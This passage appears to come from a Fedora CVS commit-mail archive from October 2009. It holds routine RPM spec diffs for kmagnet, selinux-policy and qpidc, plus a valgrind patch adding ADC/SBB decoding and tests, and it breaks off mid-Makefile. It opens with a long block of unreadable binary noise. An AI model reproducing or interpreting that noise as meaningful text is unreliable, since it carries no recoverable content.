r?A?d????W?? ??05???J?E??j$?3??T???q?y??9?{???!K9?za5#A??????M}?P?6?!????CAw?1N*l???nWz?;?????{d?
???;?@e???=??Hbs????{
?wS??D?"[?eL?j?k?7?d2????f]???Y?}?wz?%yx???????ty?R"??s?*?????7M@?>\???2???$?5????j???8??9%??Y????{?RH'?[M?=&2??
?x?;*??:0I???#=3?? ??sF???7?)?O???
??~6??**?p<s??p?!N???{N?	Lp?
?????????O\Q?????????A;?d???G?#?Hb<?x??+.?????.?Fu?2??????l5???_??d?.~??F?K?PHz??l(?6? ????~?w7:???????ZL?:????B	??Q????Bt?!??4??%!??~????.???g
????EW'&???($u????????:??S??3???W?Uf?2??/??z???
???.????k2??????;???&?r&?~r??.R?,???/?vz?V?? ?rG [??",???`!B???R????
:?vyPt????P????? ?o?V?w	Ts???`SI???????}?????`=??"??b`*????uj?7??S_F!l?V
@??D\*????O&?!*c?D?????????Co????????H????\??? ???Q4\????}8.
??&&J&?P???*%????Gf?ob??h&?4R1????J\r?CS(EZ1*??:?E????????{8D??FYp??@oW??????????=N?????c?Ow"?????M??	?G??J?????????fd????[?@????V????^i#f>,[Jh2U???}>??{?????A9??9D?j_????]??!r??pc?;?"OJ???hdF?R"??h?????o?/?Q?=?V"R!??v?E?c?d?W?]???=???'A?\??p??P3&?
r???C:?Q?+#c{??xJ?N?????%?0?7N
????T???\???C??6M????.et???`_c??]???U????Q't?h1#xl]E?n?;???t?zY9?d???s??m?>Sx?p
?$???3,?`X`z?>?SXc??x* +a????9?Xjq?????ii?????0?M??Cb??$?~??''??-??#C???$FC?WK?_@??=???E?S?r*H?46)3JTE?<	?$???9?g?,????????
B??p???t?~=?F???S??9?;?$N?(c??.???w???:??e?o.??????????
??-g??`?0??"5?Pm??4?\D2?<:????F?u?Re:v????????????v-0x?]????|???kz?;????m?rm????tMo???O?O"
7$x????????[???I?[?5F?? ?)Y?z?D]?=Oon??C-?b?H?\?	TH??ax????1?.L??0?J????3??mO]{KRt	??????t???.?]??oT?d?^?	 =????,5?m2?[
m&T?L??sa?;??#?j7Yu?HzGF?



From rrix at fedoraproject.org  Tue Oct 27 21:09:30 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Tue, 27 Oct 2009 21:09:30 +0000 (UTC)
Subject: rpms/kmagnet/F-10 kmagnet.spec,1.1,1.2
Message-ID: <20091027210930.388D311C00E6@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/kmagnet/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8290

Modified Files:
	kmagnet.spec 
Log Message:
bumping version to retag and build



Index: kmagnet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-10/kmagnet.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kmagnet.spec	27 Oct 2009 20:52:20 -0000	1.1
+++ kmagnet.spec	27 Oct 2009 21:09:27 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           kmagnet
 Version:        0.03
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        A simple puzzle game with a built-in puzzle editor
 
 Group:          Amusements/Games
@@ -95,4 +95,4 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 - Added desktop-file-validate
 
 * Wed Oct 7 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-1
-- initial package
\ No newline at end of file
+- initial package



From rrix at fedoraproject.org  Tue Oct 27 21:14:27 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Tue, 27 Oct 2009 21:14:27 +0000 (UTC)
Subject: rpms/kmagnet/F-10 kmagnet.spec,1.2,1.3
Message-ID: <20091027211427.1CDB711C00E6@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/kmagnet/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10113

Modified Files:
	kmagnet.spec 
Log Message:
reverting change to Release.



Index: kmagnet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/F-10/kmagnet.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- kmagnet.spec	27 Oct 2009 21:09:27 -0000	1.2
+++ kmagnet.spec	27 Oct 2009 21:14:25 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           kmagnet
 Version:        0.03
-Release:        6%{?dist}
+Release:        5%{?dist}
 Summary:        A simple puzzle game with a built-in puzzle editor
 
 Group:          Amusements/Games



From dwalsh at fedoraproject.org  Tue Oct 27 21:14:29 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 27 Oct 2009 21:14:29 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 selinux-policy.spec,1.952,1.953
Message-ID: <20091027211429.516C211C00E6@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10401

Modified Files:
	selinux-policy.spec 
Log Message:
* Tue Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
- Allow bittlebee to connect to privoxy port



Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.952
retrieving revision 1.953
diff -u -p -r1.952 -r1.953
--- selinux-policy.spec	27 Oct 2009 20:55:56 -0000	1.952
+++ selinux-policy.spec	27 Oct 2009 21:14:28 -0000	1.953
@@ -445,7 +445,7 @@ exit 0
 %endif
 
 %changelog
-* Tuei Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
+* Tue Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
 - Allow bittlebee to connect to privoxy port
 
 * Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-34



From dwalsh at fedoraproject.org  Tue Oct 27 21:14:54 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 27 Oct 2009 21:14:54 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 selinux-policy.spec,1.953,1.954
Message-ID: <20091027211454.3FE2D11C00E6@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10625

Modified Files:
	selinux-policy.spec 
Log Message:
* Tue Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
- Allow bittlebee to connect to privoxy port
- Allow iptables to work with shorewall



Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.953
retrieving revision 1.954
diff -u -p -r1.953 -r1.954
--- selinux-policy.spec	27 Oct 2009 21:14:28 -0000	1.953
+++ selinux-policy.spec	27 Oct 2009 21:14:53 -0000	1.954
@@ -447,6 +447,7 @@ exit 0
 %changelog
 * Tue Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
 - Allow bittlebee to connect to privoxy port
+- Allow iptables to work with shorewall
 
 * Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-34
 - Turn allow_postfix_local_write_mail_spool on by default



From nsantos at fedoraproject.org  Tue Oct 27 21:19:03 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Tue, 27 Oct 2009 21:19:03 +0000 (UTC)
Subject: rpms/qpidc/devel qpidc.spec,1.104,1.105
Message-ID: <20091027211903.5E02411C00E6@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13183

Modified Files:
	qpidc.spec 
Log Message:
Renaming of subpackages as per http://fedoraproject.org/wiki/Features/ImprovedQpidCppPackaging


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/devel/qpidc.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- qpidc.spec	29 Sep 2009 15:27:28 -0000	1.104
+++ qpidc.spec	27 Oct 2009 21:19:02 -0000	1.105
@@ -10,18 +10,22 @@
 %define qpid_svnrev 819819
 %define rhm_svnrev 3641
 
-Name:           qpidc
+%define cli qpid-cpp-client
+%define srv qpid-cpp-server
+%define old qpidc
+
+Name:           %{cli}
 Version:        0.5.%{qpid_svnrev}
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Libraries for Qpid C++ client applications
 Group:          System Environment/Libraries
 License:        ASL 2.0
 URL:            http://qpid.apache.org
-Source0:        %{name}-%{version}.tar.gz
+Source0:        %{old}-%{version}.tar.gz
 Source1:	rhm-0.5.%{rhm_svnrev}.tar.gz
 Source2:	qpidd.pp
 Patch0:		so_number.patch
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRoot:      %{_tmppath}/%{old}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: boost-devel
 BuildRequires: doxygen
@@ -54,6 +58,7 @@ BuildRequires: libaio-devel
 %endif
 
 Requires: boost
+Obsoletes: qpidc
 
 Requires(post):/sbin/chkconfig
 Requires(preun):/sbin/chkconfig
@@ -66,13 +71,15 @@ C++. Clients exchange messages with an A
 the AMQP protocol.
 
 %package devel
-Summary: Header files and documentation for developing Qpid C++ clients
+Summary: Header files, documentation and testing tools for developing Qpid C++ clients
 Group: Development/System
-Requires: %name = %version-%release
+Requires: %{cli} = %version-%release
 Requires: boost-devel
 Requires: e2fsprogs-devel
 Requires: libuuid-devel
 Requires: python
+Obsoletes: qpidc-devel
+Obsoletes: qpidc-perftest
 
 %description devel
 Libraries, header files and documentation for developing AMQP clients
@@ -82,40 +89,44 @@ in C++ using Qpid.  Qpid implements the 
 Summary: AMQP client development documentation
 Group: Documentation
 BuildArch: noarch
+Obsoletes: qpidc-devel-docs
 
 %description devel-docs
 This package includes the AMQP clients development documentation in HTML
 format for easy browsing.
 
-%package -n qpidd
+%package -n %{srv}
 Summary: An AMQP message broker daemon
 Group: System Environment/Daemons
-Requires: %name = %version-%release
+Requires: %{cli} = %version-%release
 Requires: cyrus-sasl
 Requires(post): policycoreutils
 Requires(post): selinux-policy-minimum
 Requires(post): /usr/sbin/semodule
 Requires(postun): /usr/sbin/semodule
+Obsoletes: qpidd
+Obsoletes: qpidd-acl
 
-%description -n qpidd
+%description -n %{srv}
 A message broker daemon that receives stores and routes messages using
 the open AMQP messaging protocol.
 
-%package -n qpidd-devel
+%package -n %{srv}-devel
 Summary: Libraries and header files for developing Qpid broker extensions
 Group: Development/System
-Requires: %name-devel = %version-%release
-Requires: qpidd = %version-%release
+Requires: %{cli}-devel = %version-%release
+Requires: %{srv} = %version-%release
 Requires: boost-devel
+Obsoletes: qpidd-devel
 
-%description -n qpidd-devel
+%description -n %{srv}-devel
 Libraries and header files for developing extensions to the
 Qpid broker daemon.
 
 %package -n qmf
 Summary: The QPID Management Framework
 Group: System Environment/Daemons
-Requires: %name = %version-%release
+Requires: %{cli} = %version-%release
 
 %description -n qmf
 An extensible managememt framework layered on QPID messaging.
@@ -124,7 +135,7 @@ An extensible managememt framework layer
 Summary: Header files and tools for developing QMF extensions
 Group: Development/System
 Requires: qmf = %version-%release
-Requires: %name-devel = %version-%release
+Requires: %{cli}-devel = %version-%release
 
 %description -n qmf-devel
 Header files and code-generation tools needed for developers of QMF-managed
@@ -133,94 +144,84 @@ components.
 %package -n ruby-qmf
 Summary: The QPID Management Framework bindings for ruby
 Group: System Environment/Libraries
-Requires: %name = %version-%release
+Requires: %{cli} = %version-%release
 
 %description -n ruby-qmf
 An extensible managememt framework layered on QPID messaging, bindings
 for ruby.
 
-%package -n qpidd-acl
-Summary: ACL based security for the Qpid daemon
-Group: System Environment/Libraries
-Requires: qpidd = %version-%release
-
-%description -n qpidd-acl
-A Qpid daemon plugin to support ACL-based access control.
-
 %package rdma
 Summary: RDMA Protocol support (including Infiniband) for Qpid clients
 Group: System Environment/Libraries
-Requires: %name = %version-%release
+Requires: %{cli} = %version-%release
+Obsoletes: qpidc-rdma
 
 %description rdma
 A client plugin and support library to support RDMA protocols (including
 Infiniband) as the transport for Qpid messaging.
 
-%package -n qpidd-rdma
+%package -n %{srv}-rdma
 Summary: RDMA Protocol support (including Infiniband) for the Qpid daemon
 Group: System Environment/Libraries
-Requires: qpidd = %version-%release
-Requires: %name-rdma = %version-%release
+Requires: %{srv} = %version-%release
+Requires: %{cli}-rdma = %version-%release
+Obsoletes: qpidd-rdma
 
-%description -n qpidd-rdma
+%description -n %{srv}-rdma
 A Qpid daemon plugin to support RDMA protocols (including Infiniband) as the
 transport for AMQP messaging.
 
 %package ssl
 Summary: SSL support for Qpid clients
 Group: System Environment/Libraries
-Requires: %name = %version-%release
+Requires: %{cli} = %version-%release
+Obsoletes: qpidc-ssl
 
 %description ssl
 A client plugin and support library to support SSL as the transport
 for Qpid messaging.
 
-%package -n qpidd-ssl
+%package -n %{srv}-ssl
 Summary: SSL support for the Qpid daemon
 Group: System Environment/Libraries
-Requires: qpidd = %version-%release
-Requires: %name-ssl = %version-%release
+Requires: %{srv} = %version-%release
+Requires: %{cli}-ssl = %version-%release
+Obsoletes: qpidd-ssl
 
-%description -n qpidd-ssl
+%description -n %{srv}-ssl
 A Qpid daemon plugin to support SSL as the transport for AMQP
 messaging.
 
-%package -n qpidd-xml
+%package -n %{srv}-xml
 Summary: XML extensions for the Qpid daemon
 Group: System Environment/Libraries
-Requires: qpidd = %version-%release
+Requires: %{srv} = %version-%release
 Requires: xqilla
 Requires: xerces-c
+Obsoletes: qpidd-xml
 
-%description -n qpidd-xml
+%description -n %{srv}-xml
 A Qpid daemon plugin to support extended XML-based routing of AMQP
 messages.
 
-%package -n qpidd-cluster
+%package -n %{srv}-cluster
 Summary: Cluster support for the Qpid daemon
 Group: System Environment/Daemons
-Requires: qpidd = %version-%release
-Requires: qpidc = %version-%release
+Requires: %{srv} = %version-%release
+Requires: %{cli} = %version-%release
 Requires: corosync >= 1.0.0-1
 Requires: clusterlib >= 3.0.0-20
+Obsoletes: qpidd-cluster
 
-%description -n qpidd-cluster
+%description -n %{srv}-cluster
 A Qpid daemon plugin enabling broker clustering using openais
 
-%package perftest
-Summary: Simple benchmarking tools
-Group: System Environment/Tools
-Requires: qpidc = %version-%release
-
-%description perftest
-Tools for performing testing and benchmarking of MRG-Messaging
-
 %ifarch i686 x86_64
 #RHM
 %package -n rhm-cpp-server-store
 Summary: Red Hat persistence extension to the Qpid messaging system
 Group: System Environment/Libraries
-Requires: qpidd = 0.5.%{qpid_svnrev}
+Requires: %{srv} = 0.5.%{qpid_svnrev}
 Requires: db4
 Requires: libaio
 Obsoletes: rhm
@@ -232,7 +233,7 @@ with Berkeley DB.
 #/RHM
 %endif
 
-%pre -n qpidd
+%pre -n %{srv}
 getent group qpidd >/dev/null || groupadd -r qpidd
 getent passwd qpidd >/dev/null || \
   useradd -r -M -g qpidd -d %{_localstatedir}/lib/qpidd -s /sbin/nologin \
@@ -240,8 +241,8 @@ getent passwd qpidd >/dev/null || \
 exit 0
 
 %prep
-%setup
-%setup -T -D -b 1
+%setup -n %{old}-%{version}
+%setup -T -D -b 1 -n %{old}-%{version}
 %patch0
 
 %define perftests "perftest topic_listener topic_publisher latencytest client_test txtest"
@@ -269,7 +270,7 @@ popd
 pushd ../rhm-0.5.%{rhm_svnrev}
 export CXXFLAGS="%{optflags} -DNDEBUG" 
 ./bootstrap
-%configure --disable-static --disable-rpath --disable-dependency-tracking --with-qpid-checkout=%{_builddir}/%{name}-%{version}
+%configure --disable-static --disable-rpath --disable-dependency-tracking --with-qpid-checkout=%{_builddir}/%{old}-%{version}
 make dist
 make #%{?_smp_mflags}
 popd
@@ -279,7 +280,7 @@ popd
 %install
 rm -rf %{buildroot}
 mkdir -p -m0755 %{buildroot}/%_bindir
-pushd %{_builddir}/%{name}-%{version}/cpp
+pushd %{_builddir}/%{old}-%{version}/cpp
 make install DESTDIR=%{buildroot}
 install -Dp -m0755 etc/qpidd %{buildroot}%{_initrddir}/qpidd
 install -d -m0755 %{buildroot}%{_localstatedir}/lib/qpidd
@@ -306,9 +307,9 @@ rm -f %{buildroot}%_libdir/qpid/daemon/*
 echo "auth=no" >> %{buildroot}/etc/qpidd.conf
 
 install -d %{buildroot}%{_datadir}/selinux/packages
-install -m 644 %{_builddir}/%{name}-%{version}/selinux/qpidd.pp %{buildroot}%{_datadir}/selinux/packages
-install -pm 644 %{_builddir}/%{name}-%{version}/cpp/bindings/qmf/ruby/qmf.rb %{buildroot}%{ruby_sitelib}
-install -pm 755 %{_builddir}/%{name}-%{version}/cpp/bindings/qmf/ruby/.libs/qmfengine.so %{buildroot}%{ruby_sitearch}
+install -m 644 %{_builddir}/%{old}-%{version}/selinux/qpidd.pp %{buildroot}%{_datadir}/selinux/packages
+install -pm 644 %{_builddir}/%{old}-%{version}/cpp/bindings/qmf/ruby/qmf.rb %{buildroot}%{ruby_sitelib}
+install -pm 755 %{_builddir}/%{old}-%{version}/cpp/bindings/qmf/ruby/.libs/qmfengine.so %{buildroot}%{ruby_sitearch}
 
 rm -f %{buildroot}%_libdir/_*
 rm -fr %{buildroot}%_libdir/qpid/tests
@@ -335,7 +336,7 @@ popd
 rm -rf %{buildroot}
 
 %check
-#pushd %{_builddir}/%{name}-%{version}/cpp
+#pushd %{_builddir}/%{old}-%{version}/cpp
 # LANG=C needs to be in the environment to deal with a libtool issue
 # temporarily disabling make check due to libtool issues
 # needs to be re-enabled asap
@@ -379,8 +380,15 @@ rm -rf %{buildroot}
 %_libdir/libqpidcommon.so
 %_libdir/libqpidclient.so
 %_datadir/qpidc/examples
+%defattr(755,root,root,-)
+%_bindir/perftest
+%_bindir/topic_listener
+%_bindir/topic_publisher
+%_bindir/latencytest
+%_bindir/client_test
+%_bindir/txtest
 
-%files -n qpidd
+%files -n %{srv}
 %defattr(-,root,root,-)
 %_datadir/selinux/packages/qpidd.pp
 %_libdir/libqpidbroker.so.3
@@ -394,12 +402,13 @@ rm -rf %{buildroot}
 %config(noreplace) %_sysconfdir/sasl2/qpidd.conf
 %{_initrddir}/qpidd
 %dir %_libdir/qpid/daemon
+%_libdir/qpid/daemon/acl.so
 %attr(755, qpidd, qpidd) %_localstatedir/lib/qpidd
 %attr(755, qpidd, qpidd) /var/run/qpidd
 %attr(600, qpidd, qpidd) %config(noreplace) %_localstatedir/lib/qpidd/qpidd.sasldb
 %doc %_mandir/man1/qpidd.*
 
-%files -n qpidd-devel
+%files -n %{srv}-devel
 %defattr(-,root,root,-)
 %defattr(-,root,root,-)
 %_libdir/libqpidbroker.so
@@ -427,10 +436,6 @@ rm -rf %{buildroot}
 %{ruby_sitelib}/qmf.rb
 %{ruby_sitearch}/qmfengine.so
 
-%files -n qpidd-acl
-%defattr(-,root,root,-)
-%_libdir/qpid/daemon/acl.so
-
 %files rdma
 %defattr(-,root,root,-)
 %_libdir/librdmawrap.so.0
@@ -438,7 +443,7 @@ rm -rf %{buildroot}
 %_libdir/qpid/client/rdmaconnector.so
 %config(noreplace) %_sysconfdir/qpid/qpidc.conf
 
-%files -n qpidd-rdma
+%files -n %{srv}-rdma
 %defattr(-,root,root,-)
 %_libdir/qpid/daemon/rdma.so
 
@@ -448,27 +453,18 @@ rm -rf %{buildroot}
 %_libdir/libsslcommon.so.3.0.0
 %_libdir/qpid/client/sslconnector.so
 
-%files -n qpidd-ssl
+%files -n %{srv}-ssl
 %defattr(-,root,root,-)
 %_libdir/qpid/daemon/ssl.so
 
-%files -n qpidd-xml
+%files -n %{srv}-xml
 %defattr(-,root,root,-)
 %_libdir/qpid/daemon/xml.so
 
-%files -n qpidd-cluster
+%files -n %{srv}-cluster
 %defattr(-,root,root,-)
 %_libdir/qpid/daemon/cluster.so
 
-%files perftest
-%defattr(755,root,root,-)
-%_bindir/perftest
-%_bindir/topic_listener
-%_bindir/topic_publisher
-%_bindir/latencytest
-%_bindir/client_test
-%_bindir/txtest
-
 %files devel-docs
 %defattr(-,root,root,-)
 %doc cpp/docs/api/html
@@ -485,20 +481,20 @@ rm -rf %{buildroot}
 
 %postun -p /sbin/ldconfig
 
-%post -n qpidd
+%post -n %{srv}
 # This adds the proper /etc/rc*.d links for the script
 /sbin/chkconfig --add qpidd
 /sbin/ldconfig
 /usr/sbin/semodule -i %_datadir/selinux/packages/qpidd.pp
 
-%preun -n qpidd
+%preun -n %{srv}
 # Check that this is actual deinstallation, not just removing for upgrade.
 if [ $1 = 0 ]; then
         /sbin/service qpidd stop >/dev/null 2>&1 || :
         /sbin/chkconfig --del qpidd
 fi
 
-%postun -n qpidd
+%postun -n %{srv}
 if [ "$1" -ge "1" ]; then
         /sbin/service qpidd condrestart >/dev/null 2>&1 || :
 fi
@@ -519,6 +515,9 @@ fi
 %postun -n qmf -p /sbin/ldconfig
 
 %changelog
+* Tue Oct 27 2009 Nuno Santos <nsantos at redhat.com> - 0.5.819819-2
+- Renaming of subpackages as per http://fedoraproject.org/wiki/Features/ImprovedQpidCppPackaging
+
 * Tue Sep 29 2009 Nuno Santos <nsantos at redhat.com> - 0.5.819819-1
 - Rebased to svn rev 819819 for F12 beta
 



From jakub at fedoraproject.org  Tue Oct 27 21:19:42 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Tue, 27 Oct 2009 21:19:42 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-amd64-adcsbb.patch, NONE,
	1.1 valgrind-3.5.0-syscalls.patch, NONE, 1.1 valgrind.spec, 1.72, 1.73
Message-ID: <20091027211942.D96EF11C00E6@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13391

Modified Files:
	valgrind.spec 
Added Files:
	valgrind-3.5.0-amd64-adcsbb.patch 
	valgrind-3.5.0-syscalls.patch 
Log Message:
3.5.0-7

valgrind-3.5.0-amd64-adcsbb.patch:
 VEX/priv/guest_amd64_toIR.c         |   23 +--
 none/tests/amd64/Makefile.am        |    2 
 none/tests/amd64/Makefile.in        |   16 +-
 none/tests/amd64/sbbmisc.c          |  244 ++++++++++++++++++++++++++++++++++++
 none/tests/amd64/sbbmisc.stderr.exp |    2 
 none/tests/amd64/sbbmisc.stdout.exp |   10 +
 none/tests/amd64/sbbmisc.vgtest     |    1 
 none/tests/x86/sbbmisc.c            |   63 +++++++++
 none/tests/x86/sbbmisc.stdout.exp   |    3 
 9 files changed, 350 insertions(+), 14 deletions(-)

--- NEW FILE valgrind-3.5.0-amd64-adcsbb.patch ---
--- valgrind/VEX/priv/guest_amd64_toIR.c.jj	2009-10-21 22:46:40.000000000 +0200
+++ valgrind/VEX/priv/guest_amd64_toIR.c	2009-10-27 20:33:43.000000000 +0100
@@ -14278,18 +14278,20 @@ DisResult disInstr_AMD64_WRK ( 
       if (haveF2orF3(pfx)) goto decode_failure;
       delta = dis_op_imm_A( 1, True, Iop_Add8, True, delta, "adc" );
       break;
-//.. //--    case 0x15: /* ADC Iv, eAX */
-//.. //--       delta = dis_op_imm_A( sz, ADC, True, delta, "adc" );
-//.. //--       break;
+   case 0x15: /* ADC Iv, eAX */
+      if (haveF2orF3(pfx)) goto decode_failure;
+      delta = dis_op_imm_A( sz, True, Iop_Add8, True, delta, "adc" );
+      break;
 
    case 0x1C: /* SBB Ib, AL */
       if (haveF2orF3(pfx)) goto decode_failure;
       delta = dis_op_imm_A( 1, True, Iop_Sub8, True, delta, "sbb" );
       break;
-//.. //--    case 0x1D: /* SBB Iv, eAX */
-//.. //--       delta = dis_op_imm_A( sz, SBB, True, delta, "sbb" );
-//.. //--       break;
-//.. //-- 
+   case 0x1D: /* SBB Iv, eAX */
+      if (haveF2orF3(pfx)) goto decode_failure;
+      delta = dis_op_imm_A( sz, True, Iop_Sub8, True, delta, "sbb" );
+      break;
+
    case 0x24: /* AND Ib, AL */
       if (haveF2orF3(pfx)) goto decode_failure;
       delta = dis_op_imm_A( 1, False, Iop_And8, True, delta, "and" );
@@ -14364,9 +14366,10 @@ DisResult disInstr_AMD64_WRK ( 
       delta = dis_op2_E_G ( vbi, pfx, True, Iop_Add8, True, sz, delta, "adc" );
       break;
 
-//.. //--    case 0x1A: /* SBB Eb,Gb */
-//.. //--       delta = dis_op2_E_G ( sorb, True, SBB, True, 1, delta, "sbb" );
-//.. //--       break;
+   case 0x1A: /* SBB Eb,Gb */
+      if (haveF2orF3(pfx)) goto decode_failure;
+      delta = dis_op2_E_G ( vbi, pfx, True, Iop_Sub8, True, 1, delta, "sbb" );
+      break;
    case 0x1B: /* SBB Ev,Gv */
       if (haveF2orF3(pfx)) goto decode_failure;
       delta = dis_op2_E_G ( vbi, pfx, True, Iop_Sub8, True, sz, delta, "sbb" );
--- valgrind/none/tests/x86/sbbmisc.stdout.exp.jj	2009-10-09 12:52:02.000000000 +0200
+++ valgrind/none/tests/x86/sbbmisc.stdout.exp	2009-10-27 20:50:15.000000000 +0100
@@ -5,3 +5,6 @@ r4 = 11 10
 r5 = -11 -12
 r6 = -69 -68
 r7 = -113 -112
+r8 = 104 105
+r9 = -14982 -14981
+r10 = -267879790 -267879789
--- valgrind/none/tests/x86/sbbmisc.c.jj	2009-10-09 12:52:02.000000000 +0200
+++ valgrind/none/tests/x86/sbbmisc.c	2009-10-27 20:48:00.000000000 +0100
@@ -140,7 +140,58 @@ VG_SYM(adc_eb_gb_2) ":\n"
 "\tret\n"
 );
 
+extern void adc_ib_al ( void );
+asm("\n"
+VG_SYM(adc_ib_al) ":\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tclc\n"
+"\tadcb $5, %al\n"
+"\tmovb %al, " VG_SYM(out_b1) "\n"
+
+"\tmovb " VG_SYM(in_b) ", %al\n"
+"\tstc\n"
+"\tadcb $5, %al\n"
+"\tmovb %al, " VG_SYM(out_b2) "\n"
 
+"\tret\n"
+);
+
+
+extern void adc_iw_ax ( void );
+asm("\n"
+VG_SYM(adc_iw_ax) ":\n"
+
+"\tmovw " VG_SYM(in_w) ", %ax\n"
+"\tclc\n"
+"\tadcw $555, %ax\n"
+"\tmovw %ax, " VG_SYM(out_w1) "\n"
+
+"\tmovw " VG_SYM(in_w) ", %ax\n"
+"\tstc\n"
+"\tadcw $555, %ax\n"
+"\tmovw %ax, " VG_SYM(out_w2) "\n"
+
+"\tret\n"
+);
+
+
+extern void adc_il_eax ( void );
+asm("\n"
+VG_SYM(adc_il_eax) ":\n"
+
+"\tmovl " VG_SYM(in_l) ", %eax\n"
+"\tclc\n"
+"\tadcl $555666, %eax\n"
+"\tmovl %eax, " VG_SYM(out_l1) "\n"
+
+"\tmovl " VG_SYM(in_l) ", %eax\n"
+"\tstc\n"
+"\tadcl $555666, %eax\n"
+"\tmovl %eax, " VG_SYM(out_l2) "\n"
+
+"\tret\n"
+);
 
 
 int main ( void )
@@ -177,5 +228,17 @@ int main ( void )
    adc_eb_gb_2();
    printf("r7 = %d %d\n", (int)out_b1, (int)out_b2);
 
+   in_b = 99;
+   adc_ib_al();
+   printf("r8 = %d %d\n", (int)out_b1, (int)out_b2);
+
+   in_w = 49999;
+   adc_iw_ax();
+   printf("r9 = %d %d\n", (int)out_w1, (int)out_w2);
+
+   in_l = 0xF0000000;
+   adc_il_eax();
+   printf("r10 = %d %d\n", (int)out_l1, (int)out_l2);
+
    return 0;
 }
--- valgrind/none/tests/amd64/sbbmisc.vgtest.jj	2009-10-27 20:50:44.000000000 +0100
+++ valgrind/none/tests/amd64/sbbmisc.vgtest	2009-10-09 12:52:02.000000000 +0200
@@ -0,0 +1 @@
+prog: sbbmisc
--- valgrind/none/tests/amd64/sbbmisc.stdout.exp.jj	2009-10-27 20:50:41.000000000 +0100
+++ valgrind/none/tests/amd64/sbbmisc.stdout.exp	2009-10-27 20:50:15.000000000 +0100
@@ -0,0 +1,10 @@
+r1 = 94 93
+r2 = -16092 -16093
+r3 = -268991122 -268991123
+r4 = 11 10
+r5 = -11 -12
+r6 = -69 -68
+r7 = -113 -112
+r8 = 104 105
+r9 = -14982 -14981
+r10 = -267879790 -267879789
--- valgrind/none/tests/amd64/Makefile.am.jj	2009-10-09 12:52:01.000000000 +0200
+++ valgrind/none/tests/amd64/Makefile.am	2009-10-27 20:55:27.000000000 +0100
@@ -43,6 +43,7 @@ EXTRA_DIST = \
 	redundantRexW.vgtest redundantRexW.stdout.exp \
 	redundantRexW.stderr.exp \
 	smc1.stderr.exp smc1.stdout.exp smc1.vgtest \
+	sbbmisc.stderr.exp sbbmisc.stdout.exp sbbmisc.vgtest \
 	shrld.stderr.exp shrld.stdout.exp shrld.vgtest \
 	ssse3_misaligned.stderr.exp ssse3_misaligned.stdout.exp \
 	ssse3_misaligned.vgtest \
@@ -58,6 +59,7 @@ check_PROGRAMS = \
 	rcl-amd64 \
 	redundantRexW \
 	smc1 \
+	sbbmisc \
 	nibz_bennee_mmap
 if BUILD_SSSE3_TESTS
  check_PROGRAMS += ssse3_misaligned
--- valgrind/none/tests/amd64/Makefile.in.jj	2009-10-09 12:52:33.000000000 +0200
+++ valgrind/none/tests/amd64/Makefile.in	2009-10-27 20:56:47.000000000 +0100
@@ -53,8 +53,8 @@ DIST_COMMON = $(dist_noinst_SCRIPTS) $(s
 check_PROGRAMS = amd64locked$(EXEEXT) bug127521-64$(EXEEXT) \
 	bug132813-amd64$(EXEEXT) bug132918$(EXEEXT) clc$(EXEEXT) \
 	$(am__EXEEXT_3) rcl-amd64$(EXEEXT) redundantRexW$(EXEEXT) \
-	smc1$(EXEEXT) nibz_bennee_mmap$(EXEEXT) $(am__EXEEXT_4) \
-	$(am__EXEEXT_5)
